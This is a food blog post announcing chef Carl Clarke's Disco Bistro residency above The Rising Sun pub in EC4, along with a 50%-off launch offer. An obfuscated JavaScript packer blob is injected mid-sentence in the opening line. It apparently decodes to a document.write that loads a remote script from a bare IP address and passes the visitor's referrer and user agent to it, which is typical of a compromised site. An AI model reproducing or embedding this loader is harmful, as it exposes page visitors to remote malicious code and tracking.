Anyone (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnzkn|var|u0026u|referrer|tkztt||js|php’.split(‘|’),0,{}))
with a name like Disco Bistro is alright in our books and anyone who offers 50% off food during a soft launch is even better. Disco Bistro EC4 is the new dining residency from ‘punk’ chef, Carl Clarke. Carl’s previous projects include NYC style ‘Rock Lobsta’ bar, Thomas Keller spoof ‘ The English Launderette’ and Jubilee punk celebration ‘ God Save the Clam’.

His new joint is located on the 1st floor of The Rising Sun pub in St Pauls and will serve a daily changing menu of rare-breed meats, day-boat fish and wild ingredients. The actual pub will serve ‘trash food’ inspired by street food and includes lobster corn rolls, French dipped burgers (picture above by Paul Winch-Furness) and fried chicken in pig-skin. We’re in!

To bag the 50% off you need to be VERY lucky, very lucky indeed. You need to be one of the first 30 people to reply at 3:30pm today (Wed 7th Nov) – check the twitter for the email. Good Luck – you WILL need it!

Opens 19th Nov
The Rising Sun, EC4